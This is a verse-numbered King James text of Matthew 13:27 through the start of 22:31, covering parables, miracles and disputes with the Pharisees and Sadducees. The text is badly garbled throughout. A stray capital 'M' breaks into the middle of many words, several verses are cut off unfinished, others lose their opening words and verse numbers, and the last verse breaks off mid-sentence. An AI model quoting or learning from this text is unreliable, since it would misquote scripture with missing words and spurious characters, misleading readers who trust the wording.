13:27: So the servants of the householder came and said unto him, Sir, didst not thou sow good seed in thy field? from whence then hath it tares?
13:28: He said unto them, An enemy hath done this. The servants said unto him, Wilt thou then that we goM
 and gather them up?
13:29: But he said, Nay; lest while ye gather up the tares, ye root up also the wheat with them.
13:30: Let both grow together until the harvest: and in the time of harvest I will say to the reapers, Gather ye together first the tares, and bind them in bundles to burn them: but gather the wheat into my barn.
13:31: Another parable put he forth unto them, saying, The kingdom of heaven is like to a grain of mustard seed, which a man took, and sowed in his field:
13:32: Which indeed is the least oM
f all seeds: but when it is grown, it is the greatest among herbs, and becometh a tree, so that the birds of the air come and lodge in the branches thereof.
13:33: Another parable spake he unto them; The kingdom of heaven is like unto leaven, which a woman took, and hid in three measures of meal, till the whole was leavened.
13:34: All these things spake Jesus unto the multitude in parables; and without a parable spake he not unto them:
13:35: That it might be fulfilled which was spoken by the prophet, saying, I wiM
ll open my mouth in parables; I will utter things which have been kept secret from the foundation of the world.
13:36: Then Jesus sent the multitude away, and went into the house: and his disciples came unto him, saying, Declare unto us the parable of the tares of the field.
13:37: He answered and said unto them, He that soweth the good seed is the Son of man;
13:38: The field is the world; the good seed are the children of the kingdom; but the tares are the children of the wicked one;
13:39: The enemy that sowed tM
hem is the devil; the harvest is the end of the world; and the reapers are the angels.
13:40: As therefore the tares are gathered and burned in the fire; so shall it be in the end of this world.
13:41: The Son of man shall send forth his angels, and they shall gather out of his kingdom all things that offend, and them which do iniquity;
13:42: And shall cast them into a furnace of fire: there shall be wailing and gnashing of teeth.
13:43: Then shall the righteous shine forth as the sun in the kingdom of their FatheM
r. Who hath ears to hear, let him hear.
13:44: Again, the kingdom of heaven is like unto treasure hid in a field; the which when a man hath found, he hideth, and for joy thereof goeth and selleth all that he hath, and buyeth that field.
13:45: Again, the kingdom of heaven is like unto a merchant man, seeking goodly pearls:
13:46: Who, when he had found one pearl of great price, went and sold all that he had, and bought it.
13:47: Again, the kingdom of heaven is like unto a net, that was cast into the sea, and gatheM
13:48: Which, when it was full, they drew to shore, and sat down, and gathered the good into vessels, but cast the bad away.
13:49: So shall it be at the end of the world: the angels shall come forth, and sever the wicked from among the just,
13:50: And shall cast them into the furnace of fire: there shall be wailing and gnashing of teeth.
13:51: Jesus saith unto them, Have ye understood all these things? They say unto him, Yea, Lord.
13:52: Then said he unto them, Therefore every scribe which isM
 instructed unto the kingdom of heaven is like unto a man that is an householder, which bringeth forth out of his treasure things new and old.
13:53: And it came to pass, that when Jesus had finished these parables, he departed thence.
13:54: And when he was come into his own country, he taught them in their synagogue, insomuch that they were astonished, and said, Whence hath this man this wisdom, and these mighty works?
13:55: Is not this the carpenter's son? is not his mother called Mary? and his brethren, James,M
 and Joses, and Simon, and Judas?
13:56: And his sisters, are they not all with us? Whence then hath this man all these things?
13:57: And they were offended in him. But Jesus said unto them, A prophet is not without honour, save in his own country, and in his own house.
13:58: And he did not many mighty works there because of their unbelief.
14:1: At that time Herod the tetrarch heard of the fame of Jesus,
14:2: And said unto his servants, This is John the Baptist; he is risen from the dead; and therefM
ore mighty works do shew forth themselves in him.
14:3: For Herod had laid hold on John, and bound him, and put him in prison for Herodias' sake, his brother Philip's wife.
14:4: For John said unto him, It is not lawful for thee to have her.
14:5: And when he would have put him to death, he feared the multitude, because they counted him as a prophet.
14:6: But when Herod's birthday was kept, the daughter of Herodias danced before them, and pleased Herod.
14:7: Whereupon he promised with an oath to give her whatsoevM
14:8: And she, being before instructed of her mother, said, Give me here John Baptist's head in a charger.
14:9: And the king was sorry: nevertheless for the oath's sake, and them which sat with him at meat, he commanded it to be given her.
14:10: And he sent, and beheaded John in the prison.
14:11: And his head was brought in a charger, and given to the damsel: and she brought it to her mother.
14:12: And his disciples came, and took up the body, and buried it, and went and told Jesus.
n Jesus heard of it, he departed thence by ship into a desert place apart: and when the people had heard thereof, they followed him on foot out of the cities.
14:14: And Jesus went forth, and saw a great multitude, and was moved with compassion toward them, and he healed their sick.
14:15: And when it was evening, his disciples came to him, saying, This is a desert place, and the time is now past; send the multitude away, that they may go into the villages, and buy themselves victuals.
14:16: But Jesus said unto thM
em, They need not depart; give ye them to eat.
14:17: And they say unto him, We have here but five loaves, and two fishes.
14:18: He said, Bring them hither to me.
14:19: And he commanded the multitude to sit down on the grass, and took the five loaves, and the two fishes, and looking up to heaven, he blessed, and brake, and gave the loaves to his disciples, and the disciples to the multitude.
14:20: And they did all eat, and were filled: and they took up of the fragments that remained twelve baskets full.
nd they that had eaten were about five thousand men, beside women and children.
14:22: And straightway Jesus constrained his disciples to get into a ship, and to go before him unto the other side, while he sent the multitudes away.
14:23: And when he had sent the multitudes away, he went up into a mountain apart to pray: and when the evening was come, he was there alone.
14:24: But the ship was now in the midst of the sea, tossed with waves: for the wind was contrary.
14:25: And in the fourth watch of the night JesM
us went unto them, walking on the sea.
14:26: And when the disciples saw him walking on the sea, they were troubled, saying, It is a spirit; and they cried out for fear.
14:27: But straightway Jesus spake unto them, saying, Be of good cheer; it is I; be not afraid.
14:28: And Peter answered him and said, Lord, if it be thou, bid me come unto thee on the water.
14:29: And he said, Come. And when Peter was come down out of the ship, he walked on the water, to go to Jesus.
14:30: But when he saw the wind boisterous, hM
e was afraid; and beginning to sink, he cried, saying, Lord, save me.
14:31: And immediately Jesus stretched forth his hand, and caught him, and said unto him, O thou of little faith, wherefore didst thou doubt?
14:32: And when they were come into the ship, the wind ceased.
14:33: Then they that were in the ship came and worshipped him, saying, Of a truth thou art the Son of God.
14:34: And when they were gone over, they came into the land of Gennesaret.
14:35: And when the men of that place had knowledge of him, tM
hey sent out into all that country round about, and brought unto him all that were diseased;
14:36: And besought him that they might only touch the hem of his garment: and as many as touched were made perfectly whole.
15:1: Then came to Jesus scribes and Pharisees, which were of Jerusalem, saying,
15:2: Why do thy disciples transgress the tradition of the elders? for they wash not their hands when they eat bread.
15:3: But he answered and said unto them, Why do ye also transgress the commandment of God M
15:4: For God commanded, saying, Honour thy father and mother: and, He that curseth father or mother, let him die the death.
15:5: But ye say, Whosoever shall say to his father or his mother, It is a gift, by whatsoever thou mightest be profited by me;
15:6: And honour not his father or his mother, he shall be free. Thus have ye made the commandment of God of none effect by your tradition.
15:7: Ye hypocrites, well did Esaias prophesy of you, saying,
15:8: This people draweth nigh unto me with thM
eir mouth, and honoureth me with their lips; but their heart is far from me.
15:9: But in vain they do worship me, teaching for doctrines the commandments of men.
15:10: And he called the multitude, and said unto them, Hear, and understand:
15:11: Not that which goeth into the mouth defileth a man; but that which cometh out of the mouth, this defileth a man.
15:12: Then came his disciples, and said unto him, Knowest thou that the Pharisees were offended, after they heard this saying?
15:13: But he answered and saidM
, Every plant, which my heavenly Father hath not planted, shall be rooted up.
15:14: Let them alone: they be blind leaders of the blind. And if the blind lead the blind, both shall fall into the ditch.
15:15: Then answered Peter and said unto him, Declare unto us this parable.
15:16: And Jesus said, Are ye also yet without understanding?
15:17: Do not ye yet understand, that whatsoever entereth in at the mouth goeth into the belly, and is cast out into the draught?
15:18: But those things which proceed out of the mM
outh come forth from the heart; and they defile the man.
15:19: For out of the heart proceed evil thoughts, murders, adulteries, fornications, thefts, false witness, blasphemies:
15:20: These are the things which defile a man: but to eat with unwashen hands defileth not a man.
15:21: Then Jesus went thence, and departed into the coasts of Tyre and Sidon.
15:22: And, behold, a woman of Canaan came out of the same coasts, and cried unto him, saying, Have mercy on me, O Lord, thou Son of David; my daughter is grievousM
ly vexed with a devil.
15:23: But he answered her not a word. And his disciples came and besought him, saying, Send her away; for she crieth after us.
15:24: But he answered and said, I am not sent but unto the lost sheep of the house of Israel.
15:25: Then came she and worshipped him, saying, Lord, help me.
15:26: But he answered and said, It is not meet to take the children's bread, and to cast it to dogs.
15:27: And she said, Truth, Lord: yet the dogs eat of the crumbs which fall from their masters' table.
: Then Jesus answered and said unto her, O woman, great is thy faith: be it unto thee even as thou wilt. And her daughter was made whole from that very hour.
15:29: And Jesus departed from thence, and came nigh unto the sea of Galilee; and went up into a mountain, and sat down there.
15:30: And great multitudes came unto him, having with them those that were lame, blind, dumb, maimed, and many others, and cast them down at Jesus' feet; and he healed them:
15:31: Insomuch that the multitude wondered, when they saw tM
he dumb to speak, the maimed to be whole, the lame to walk, and the blind to see: and they glorified the God of Israel.
15:32: Then Jesus called his disciples unto him, and said, I have compassion on the multitude, because they continue with me now three days, and have nothing to eat: and I will not send them away fasting, lest they faint in the way.
15:33: And his disciples say unto him, Whence should we have so much bread in the wilderness, as to fill so great a multitude?
15:34: And Jesus saith unto them, How maM
ny loaves have ye? And they said, Seven, and a few little fishes.
15:35: And he commanded the multitude to sit down on the ground.
15:36: And he took the seven loaves and the fishes, and gave thanks, and brake them, and gave to his disciples, and the disciples to the multitude.
15:37: And they did all eat, and were filled: and they took up of the broken meat that was left seven baskets full.
15:38: And they that did eat were four thousand men, beside women and children.
15:39: And he sent away the multitude, and toM
ok ship, and came into the coasts of Magdala.
16:1: The Pharisees also with the Sadducees came, and tempting desired him that he would shew them a sign from heaven.
16:2: He answered and said unto them, When it is evening, ye say, It will be fair weather: for the sky is red.
16:3: And in the morning, It will be foul weather to day: for the sky is red and lowring. O ye hypocrites, ye can discern the face of the sky; but can ye not discern the signs of the times?
16:4: A wicked and adulterous generation sM
eeketh after a sign; and there shall no sign be given unto it, but the sign of the prophet Jonas. And he left them, and departed.
16:5: And when his disciples were come to the other side, they had forgotten to take bread.
16:6: Then Jesus said unto them, Take heed and beware of the leaven of the Pharisees and of the Sadducees.
16:7: And they reasoned among themselves, saying, It is because we have taken no bread.
16:8: Which when Jesus perceived, he said unto them, O ye of little faith, why reason ye among yourselvM
es, because ye have brought no bread?
16:9: Do ye not yet understand, neither remember the five loaves of the five thousand, and how many baskets ye took up?
16:10: Neither the seven loaves of the four thousand, and how many baskets ye took up?
16:11: How is it that ye do not understand that I spake it not to you concerning bread, that ye should beware of the leaven of the Pharisees and of the Sadducees?
16:12: Then understood they how that he bade them not beware of the leaven of bread, but of the doctrine of the M
Pharisees and of the Sadducees.
16:13: When Jesus came into the coasts of Caesarea Philippi, he asked his disciples, saying, Whom do men say that I the Son of man am?
16:14: And they said, Some say that thou art John the Baptist: some, Elias; and others, Jeremias, or one of the prophets.
16:15: He saith unto them, But whom say ye that I am?
16:16: And Simon Peter answered and said, Thou art the Christ, the Son of the living God.
16:17: And Jesus answered and said unto him, Blessed art thou, Simon Bar-jona: for flesM
h and blood hath not revealed it unto thee, but my Father which is in heaven.
16:18: And I say also unto thee, That thou art Peter, and upon this rock I will build my church; and the gates of hell shall not prevail against it.
16:19: And I will give unto thee the keys of the kingdom of heaven: and whatsoever thou shalt bind on earth shall be bound in heaven: and whatsoever thou shalt loose on earth shall be loosed in heaven.
16:20: Then charged he his disciples that they should tell no man that he was Jesus the ChrM
16:21: From that time forth began Jesus to shew unto his disciples, how that he must go unto Jerusalem, and suffer many things of the elders and chief priests and scribes, and be killed, and be raised again the third day.
16:22: Then Peter took him, and began to rebuke him, saying, Be it far from thee, Lord: this shall not be unto thee.
16:23: But he turned, and said unto Peter, Get thee behind me, Satan: thou art an offence unto me: for thou savourest not the things that be of God, but those that be of men.
6:24: Then said Jesus unto his disciples, If any man will come after me, let him deny himself, and take up his cross, and follow me.
16:25: For whosoever will save his life shall lose it: and whosoever will lose his life for my sake shall find it.
16:26: For what is a man profited, if he shall gain the whole world, and lose his own soul? or what shall a man give in exchange for his soul?
16:27: For the Son of man shall come in the glory of his Father with his angels; and then he shall reward every man according to M
16:28: Verily I say unto you, There be some standing here, which shall not taste of death, till they see the Son of man coming in his kingdom.
17:1: And after six days Jesus taketh Peter, James, and John his brother, and bringeth them up into an high mountain apart,
17:2: And was transfigured before them: and his face did shine as the sun, and his raiment was white as the light.
17:3: And, behold, there appeared unto them Moses and Elias talking with him.
17:4: Then answered Peter, and said uM
nto Jesus, Lord, it is good for us to be here: if thou wilt, let us make here three tabernacles; one for thee, and one for Moses, and one for Elias.
17:5: While he yet spake, behold, a bright cloud overshadowed them: and behold a voice out of the cloud, which said, This is my beloved Son, in whom I am well pleased; hear ye him.
17:6: And when the disciples heard it, they fell on their face, and were sore afraid.
17:7: And Jesus came and touched them, and said, Arise, and be not afraid.
17:8: And when they had lifteM
d up their eyes, they saw no man, save Jesus only.
17:9: And as they came down from the mountain, Jesus charged them, saying, Tell the vision to no man, until the Son of man be risen again from the dead.
17:10: And his disciples asked him, saying, Why then say the scribes that Elias must first come?
17:11: And Jesus answered and said unto them, Elias truly shall first come, and restore all things.
17:12: But I say unto you, That Elias is come already, and they knew him not, but have done unto him whatsoever they liM
sted. Likewise shall also the Son of man suffer of them.
17:13: Then the disciples understood that he spake unto them of John the Baptist.
17:14: And when they were come to the multitude, there came to him a certain man, kneeling down to him, and saying,
17:15: Lord, have mercy on my son: for he is lunatick, and sore vexed: for ofttimes he falleth into the fire, and oft into the water.
17:16: And I brought him to thy disciples, and they could not cure him.
17:17: Then Jesus answered and said, O faithless and perverM
se generation, how long shall I be with you? how long shall I suffer you? bring him hither to me.
17:18: And Jesus rebuked the devil; and he departed out of him: and the child was cured from that very hour.
17:19: Then came the disciples to Jesus apart, and said, Why could not we cast him out?
17:20: And Jesus said unto them, Because of your unbelief: for verily I say unto you, If ye have faith as a grain of mustard seed, ye shall say unto this mountain, Remove hence to yonder place; and it shall remove; and nothinM
g shall be impossible unto you.
17:21: Howbeit this kind goeth not out but by prayer and fasting.
17:22: And while they abode in Galilee, Jesus said unto them, The Son of man shall be betrayed into the hands of men:
17:23: And they shall kill him, and the third day he shall be raised again. And they were exceeding sorry.
17:24: And when they were come to Capernaum, they that received tribute money came to Peter, and said, Doth not your master pay tribute?
17:25: He saith, Yes. And when he was come into the house, JM
esus prevented him, saying, What thinkest thou, Simon? of whom do the kings of the earth take custom or tribute? of their own children, or of strangers?
17:26: Peter saith unto him, Of strangers. Jesus saith unto him, Then are the children free.
17:27: Notwithstanding, lest we should offend them, go thou to the sea, and cast an hook, and take up the fish that first cometh up; and when thou hast opened his mouth, thou shalt find a piece of money: that take, and give unto them for me and thee.
e same time came the disciples unto Jesus, saying, Who is the greatest in the kingdom of heaven?
18:2: And Jesus called a little child unto him, and set him in the midst of them,
18:3: And said, Verily I say unto you, Except ye be converted, and become as little children, ye shall not enter into the kingdom of heaven.
18:4: Whosoever therefore shall humble himself as this little child, the same is greatest in the kingdom of heaven.
18:5: And whoso shall receive one such little child in my name receiveth me.
ut whoso shall offend one of these little ones which believe in me, it were better for him that a millstone were hanged about his neck, and that he were drowned in the depth of the sea.
18:7: Woe unto the world because of offences! for it must needs be that offences come; but woe to that man by whom the offence cometh!
18:8: Wherefore if thy hand or thy foot offend thee, cut them off, and cast them from thee: it is better for thee to enter into life halt or maimed, rather than having two hands or two feet to be casM
t into everlasting fire.
18:9: And if thine eye offend thee, pluck it out, and cast it from thee: it is better for thee to enter into life with one eye, rather than having two eyes to be cast into hell fire.
18:10: Take heed that ye despise not one of these little ones; for I say unto you, That in heaven their angels do always behold the face of my Father which is in heaven.
18:11: For the Son of man is come to save that which was lost.
18:12: How think ye? if a man have an hundred sheep, and one of them be gone asM
tray, doth he not leave the ninety and nine, and goeth into the mountains, and seeketh that which is gone astray?
18:13: And if so be that he find it, verily I say unto you, he rejoiceth more of that sheep, than of the ninety and nine which went not astray.
18:14: Even so it is not the will of your Father which is in heaven, that one of these little ones should perish.
18:15: Moreover if thy brother shall trespass against thee, go and tell him his fault between thee and him alone: if he shall hear thee, thou hast gM
18:16: But if he will not hear thee, then take with thee one or two more, that in the mouth of two or three witnesses every word may be established.
18:17: And if he shall neglect to hear them, tell it unto the church: but if he neglect to hear the church, let him be unto thee as an heathen man and a publican.
18:18: Verily I say unto you, Whatsoever ye shall bind on earth shall be bound in heaven: and whatsoever ye shall loose on earth shall be loosed in heaven.
18:19: Again I say unto you, ThatM
 if two of you shall agree on earth as touching any thing that they shall ask, it shall be done for them of my Father which is in heaven.
18:20: For where two or three are gathered together in my name, there am I in the midst of them.
18:21: Then came Peter to him, and said, Lord, how oft shall my brother sin against me, and I forgive him? till seven times?
18:22: Jesus saith unto him, I say not unto thee, Until seven times: but, Until seventy times seven.
18:23: Therefore is the kingdom of heaven likened unto a ceM
rtain king, which would take account of his servants.
18:24: And when he had begun to reckon, one was brought unto him, which owed him ten thousand talents.
18:25: But forasmuch as he had not to pay, his lord commanded him to be sold, and his wife, and children, and all that he had, and payment to be made.
18:26: The servant therefore fell down, and worshipped him, saying, Lord, have patience with me, and I will pay thee all.
18:27: Then the lord of that servant was moved with compassion, and loosed him, and forgavM
18:28: But the same servant went out, and found one of his fellowservants, which owed him an hundred pence: and he laid hands on him, and took him by the throat, saying, Pay me that thou owest.
18:29: And his fellowservant fell down at his feet, and besought him, saying, Have patience with me, and I will pay thee all.
18:30: And he would not: but went and cast him into prison, till he should pay the debt.
18:31: So when his fellowservants saw what was done, they were very sorry, and came and told unM
to their lord all that was done.
18:32: Then his lord, after that he had called him, said unto him, O thou wicked servant, I forgave thee all that debt, because thou desiredst me:
18:33: Shouldest not thou also have had compassion on thy fellowservant, even as I had pity on thee?
18:34: And his lord was wroth, and delivered him to the tormentors, till he should pay all that was due unto him.
18:35: So likewise shall my heavenly Father do also unto you, if ye from your hearts forgive not every one his brother their M
19:1: And it came to pass, that when Jesus had finished these sayings, he departed from Galilee, and came into the coasts of Judaea beyond Jordan;
19:2: And great multitudes followed him; and he healed them there.
19:3: The Pharisees also came unto him, tempting him, and saying unto him, Is it lawful for a man to put away his wife for every cause?
19:4: And he answered and said unto them, Have ye not read, that he which made them at the beginning made them male and female,
r this cause shall a man leave father and mother, and shall cleave to his wife: and they twain shall be one flesh?
19:6: Wherefore they are no more twain, but one flesh. What therefore God hath joined together, let not man put asunder.
19:7: They say unto him, Why did Moses then command to give a writing of divorcement, and to put her away?
19:8: He saith unto them, Moses because of the hardness of your hearts suffered you to put away your wives: but from the beginning it was not so.
19:9: And I say unto you, WhosoM
ever shall put away his wife, except it be for fornication, and shall marry another, committeth adultery: and whoso marrieth her which is put away doth commit adultery.
19:10: His disciples say unto him, If the case of the man be so with his wife, it is not good to marry.
19:11: But he said unto them, All men cannot receive this saying, save they to whom it is given.
19:12: For there are some eunuchs, which were so born from their mother's womb: and there are some eunuchs, which were made eunuchs of men: and there M
be eunuchs, which have made themselves eunuchs for the kingdom of heaven's sake. He that is able to receive it, let him receive it.
19:13: Then were there brought unto him little children, that he should put his hands on them, and pray: and the disciples rebuked them.
19:14: But Jesus said, Suffer little children, and forbid them not, to come unto me: for of such is the kingdom of heaven.
19:15: And he laid his hands on them, and departed thence.
19:16: And, behold, one came and said unto him, Good Master, what gooM
d thing shall I do, that I may have eternal life?
19:17: And he said unto him, Why callest thou me good? there is none good but one, that is, God: but if thou wilt enter into life, keep the commandments.
19:18: He saith unto him, Which? Jesus said, Thou shalt do no murder, Thou shalt not commit adultery, Thou shalt not steal, Thou shalt not bear false witness,
19:19: Honour thy father and thy mother: and, Thou shalt love thy neighbour as thyself.
19:20: The young man saith unto him, All these things have I kept froM
m my youth up: what lack I yet?
19:21: Jesus said unto him, If thou wilt be perfect, go and sell that thou hast, and give to the poor, and thou shalt have treasure in heaven: and come and follow me.
19:22: But when the young man heard that saying, he went away sorrowful: for he had great possessions.
19:23: Then said Jesus unto his disciples, Verily I say unto you, That a rich man shall hardly enter into the kingdom of heaven.
19:24: And again I say unto you, It is easier for a camel to go through the eye of a needM
le, than for a rich man to enter into the kingdom of God.
19:25: When his disciples heard it, they were exceedingly amazed, saying, Who then can be saved?
19:26: But Jesus beheld them, and said unto them, With men this is impossible; but with God all things are possible.
19:27: Then answered Peter and said unto him, Behold, we have forsaken all, and followed thee; what shall we have therefore?
19:28: And Jesus said unto them, Verily I say unto you, That ye which have followed me, in the regeneration when the Son ofM
 man shall sit in the throne of his glory, ye also shall sit upon twelve thrones, judging the twelve tribes of Israel.
19:29: And every one that hath forsaken houses, or brethren, or sisters, or father, or mother, or wife, or children, or lands, for my name's sake, shall receive an hundredfold, and shall inherit everlasting life.
19:30: But many that are first shall be last; and the last shall be first.
20:1: For the kingdom of heaven is like unto a man that is an householder, which went out early in thM
e morning to hire labourers into his vineyard.
20:2: And when he had agreed with the labourers for a penny a day, he sent them into his vineyard.
20:3: And he went out about the third hour, and saw others standing idle in the marketplace,
20:4: And said unto them; Go ye also into the vineyard, and whatsoever is right I will give you. And they went their way.
20:5: Again he went out about the sixth and ninth hour, and did likewise.
20:6: And about the eleventh hour he went out, and found others standing idle, and saM
ith unto them, Why stand ye here all the day idle?
20:7: They say unto him, Because no man hath hired us. He saith unto them, Go ye also into the vineyard; and whatsoever is right, that shall ye receive.
20:8: So when even was come, the lord of the vineyard saith unto his steward, Call the labourers, and give them their hire, beginning from the last unto the first.
20:9: And when they came that were hired about the eleventh hour, they received every man a penny.
20:10: But when the first came, they supposed that thM
ey should have received more; and they likewise received every man a penny.
20:11: And when they had received it, they murmured against the goodman of the house,
20:12: Saying, These last have wrought but one hour, and thou hast made them equal unto us, which have borne the burden and heat of the day.
20:13: But he answered one of them, and said, Friend, I do thee no wrong: didst not thou agree with me for a penny?
20:14: Take that thine is, and go thy way: I will give unto this last, even as unto thee.
t not lawful for me to do what I will with mine own? Is thine eye evil, because I am good?
20:16: So the last shall be first, and the first last: for many be called, but few chosen.
20:17: And Jesus going up to Jerusalem took the twelve disciples apart in the way, and said unto them,
20:18: Behold, we go up to Jerusalem; and the Son of man shall be betrayed unto the chief priests and unto the scribes, and they shall condemn him to death,
20:19: And shall deliver him to the Gentiles to mock, and to scourge, and to cM
rucify him: and the third day he shall rise again.
20:20: Then came to him the mother of Zebedee's children with her sons, worshipping him, and desiring a certain thing of him.
20:21: And he said unto her, What wilt thou? She saith unto him, Grant that these my two sons may sit, the one on thy right hand, and the other on the left, in thy kingdom.
20:22: But Jesus answered and said, Ye know not what ye ask. Are ye able to drink of the cup that I shall drink of, and to be baptized with the baptism that I am baptizedM
 with? They say unto him, We are able.
20:23: And he saith unto them, Ye shall drink indeed of my cup, and be baptized with the baptism that I am baptized with: but to sit on my right hand, and on my left, is not mine to give, but it shall be given to them for whom it is prepared of my Father.
20:24: And when the ten heard it, they were moved with indignation against the two brethren.
20:25: But Jesus called them unto him, and said, Ye know that the princes of the Gentiles exercise dominion over them, and they thatM
 are great exercise authority upon them.
20:26: But it shall not be so among you: but whosoever will be great among you, let him be your minister;
20:27: And whosoever will be chief among you, let him be your servant:
20:28: Even as the Son of man came not to be ministered unto, but to minister, and to give his life a ransom for many.
20:29: And as they departed from Jericho, a great multitude followed him.
20:30: And, behold, two blind men sitting by the way side, when they heard that Jesus passed by, cried out, sM
aying, Have mercy on us, O Lord, thou Son of David.
20:31: And the multitude rebuked them, because they should hold their peace: but they cried the more, saying, Have mercy on us, O Lord, thou Son of David.
20:32: And Jesus stood still, and called them, and said, What will ye that I shall do unto you?
20:33: They say unto him, Lord, that our eyes may be opened.
20:34: So Jesus had compassion on them, and touched their eyes: and immediately their eyes received sight, and they followed him.
 they drew nigh unto Jerusalem, and were come to Bethphage, unto the mount of Olives, then sent Jesus two disciples,
21:2: Saying unto them, Go into the village over against you, and straightway ye shall find an ass tied, and a colt with her: loose them, and bring them unto me.
21:3: And if any man say ought unto you, ye shall say, The Lord hath need of them; and straightway he will send them.
21:4: All this was done, that it might be fulfilled which was spoken by the prophet, saying,
21:5: Tell ye the daughter of M
Sion, Behold, thy King cometh unto thee, meek, and sitting upon an ass, and a colt the foal of an ass.
21:6: And the disciples went, and did as Jesus commanded them,
21:7: And brought the ass, and the colt, and put on them their clothes, and they set him thereon.
21:8: And a very great multitude spread their garments in the way; others cut down branches from the trees, and strawed them in the way.
21:9: And the multitudes that went before, and that followed, cried, saying, Hosanna to the Son of David: Blessed is heM
 that cometh in the name of the Lord; Hosanna in the highest.
21:10: And when he was come into Jerusalem, all the city was moved, saying, Who is this?
21:11: And the multitude said, This is Jesus the prophet of Nazareth of Galilee.
21:12: And Jesus went into the temple of God, and cast out all them that sold and bought in the temple, and overthrew the tables of the moneychangers, and the seats of them that sold doves,
21:13: And said unto them, It is written, My house shall be called the house of prayer; but ye havM
e made it a den of thieves.
21:14: And the blind and the lame came to him in the temple; and he healed them.
21:15: And when the chief priests and scribes saw the wonderful things that he did, and the children crying in the temple, and saying, Hosanna to the Son of David; they were sore displeased,
21:16: And said unto him, Hearest thou what these say? And Jesus saith unto them, Yea; have ye never read, Out of the mouth of babes and sucklings thou hast perfected praise?
21:17: And he left them, and went out of the M
city into Bethany; and he lodged there.
21:18: Now in the morning as he returned into the city, he hungered.
21:19: And when he saw a fig tree in the way, he came to it, and found nothing thereon, but leaves only, and said unto it, Let no fruit grow on thee henceforward for ever. And presently the fig tree withered away.
21:20: And when the disciples saw it, they marvelled, saying, How soon is the fig tree withered away!
21:21: Jesus answered and said unto them, Verily I say unto you, If ye have faith, and doubt noM
t, ye shall not only do this which is done to the fig tree, but also if ye shall say unto this mountain, Be thou removed, and be thou cast into the sea; it shall be done.
21:22: And all things, whatsoever ye shall ask in prayer, believing, ye shall receive.
21:23: And when he was come into the temple, the chief priests and the elders of the people came unto him as he was teaching, and said, By what authority doest thou these things? and who gave thee this authority?
21:24: And Jesus answered and said unto them, I aM
lso will ask you one thing, which if ye tell me, I in like wise will tell you by what authority I do these things.
21:25: The baptism of John, whence was it? from heaven, or of men? And they reasoned with themselves, saying, If we shall say, From heaven; he will say unto us, Why did ye not then believe him?
21:26: But if we shall say, Of men; we fear the people; for all hold John as a prophet.
21:27: And they answered Jesus, and said, We cannot tell. And he said unto them, Neither tell I you by what authority I do M
21:28: But what think ye? A certain man had two sons; and he came to the first, and said, Son, go work to day in my vineyard.
21:29: He answered and said, I will not: but afterward he repented, and went.
21:30: And he came to the second, and said likewise. And he answered and said, I go, sir: and went not.
21:31: Whether of them twain did the will of his father? They say unto him, The first. Jesus saith unto them, Verily I say unto you, That the publicans and the harlots go into the kingdom of God befM
21:32: For John came unto you in the way of righteousness, and ye believed him not: but the publicans and the harlots believed him: and ye, when ye had seen it, repented not afterward, that ye might believe him.
21:33: Hear another parable: There was a certain householder, which planted a vineyard, and hedged it round about, and digged a winepress in it, and built a tower, and let it out to husbandmen, and went into a far country:
21:34: And when the time of the fruit drew near, he sent his servants to theM
 husbandmen, that they might receive the fruits of it.
21:35: And the husbandmen took his servants, and beat one, and killed another, and stoned another.
21:36: Again, he sent other servants more than the first: and they did unto them likewise.
21:37: But last of all he sent unto them his son, saying, They will reverence my son.
21:38: But when the husbandmen saw the son, they said among themselves, This is the heir; come, let us kill him, and let us seize on his inheritance.
21:39: And they caught him, and cast hiM
m out of the vineyard, and slew him.
21:40: When the lord therefore of the vineyard cometh, what will he do unto those husbandmen?
21:41: They say unto him, He will miserably destroy those wicked men, and will let out his vineyard unto other husbandmen, which shall render him the fruits in their seasons.
21:42: Jesus saith unto them, Did ye never read in the scriptures, The stone which the builders rejected, the same is become the head of the corner: this is the Lord's doing, and it is marvellous in our eyes?
: Therefore say I unto you, The kingdom of God shall be taken from you, and given to a nation bringing forth the fruits thereof.
21:44: And whosoever shall fall on this stone shall be broken: but on whomsoever it shall fall, it will grind him to powder.
21:45: And when the chief priests and Pharisees had heard his parables, they perceived that he spake of them.
21:46: But when they sought to lay hands on him, they feared the multitude, because they took him for a prophet.
22:1: And Jesus answered and spM
ake unto them again by parables, and said,
22:2: The kingdom of heaven is like unto a certain king, which made a marriage for his son,
22:3: And sent forth his servants to call them that were bidden to the wedding: and they would not come.
22:4: Again, he sent forth other servants, saying, Tell them which are bidden, Behold, I have prepared my dinner: my oxen and my fatlings are killed, and all things are ready: come unto the marriage.
22:5: But they made light of it, and went their ways, one to his farm, another tM
22:6: And the remnant took his servants, and entreated them spitefully, and slew them.
22:7: But when the king heard thereof, he was wroth: and he sent forth his armies, and destroyed those murderers, and burned up their city.
22:8: Then saith he to his servants, The wedding is ready, but they which were bidden were not worthy.
22:9: Go ye therefore into the highways, and as many as ye shall find, bid to the marriage.
22:10: So those servants went out into the highways, and gathered together all M
as many as they found, both bad and good: and the wedding was furnished with guests.
22:11: And when the king came in to see the guests, he saw there a man which had not on a wedding garment:
22:12: And he saith unto him, Friend, how camest thou in hither not having a wedding garment? And he was speechless.
22:13: Then said the king to the servants, Bind him hand and foot, and take him away, and cast him into outer darkness; there shall be weeping and gnashing of teeth.
22:14: For many are called, but few are choseM
22:15: Then went the Pharisees, and took counsel how they might entangle him in his talk.
22:16: And they sent out unto him their disciples with the Herodians, saying, Master, we know that thou art true, and teachest the way of God in truth, neither carest thou for any man: for thou regardest not the person of men.
22:17: Tell us therefore, What thinkest thou? Is it lawful to give tribute unto Caesar, or not?
22:18: But Jesus perceived their wickedness, and said, Why tempt ye me, ye hypocrites?
e tribute money. And they brought unto him a penny.
22:20: And he saith unto them, Whose is this image and superscription?
22:21: They say unto him, Caesar's. Then saith he unto them, Render therefore unto Caesar the things which are Caesar's; and unto God the things that are God's.
22:22: When they had heard these words, they marvelled, and left him, and went their way.
22:23: The same day came to him the Sadducees, which say that there is no resurrection, and asked him,
22:24: Saying, Master, Moses said, If a manM
 die, having no children, his brother shall marry his wife, and raise up seed unto his brother.
22:25: Now there were with us seven brethren: and the first, when he had married a wife, deceased, and, having no issue, left his wife unto his brother:
22:26: Likewise the second also, and the third, unto the seventh.
22:27: And last of all the woman died also.
22:28: Therefore in the resurrection whose wife shall she be of the seven? for they all had her.
22:29: Jesus answered and said unto them, Ye do err, not knowingM
 the scriptures, nor the power of God.
22:30: For in the resurrection they neither marry, nor are given in marriage, but are as the angels of God in heaven.
22:31: But as touching the resurrection of the dead, have ye not read that which was spoken unto you by God, saying,
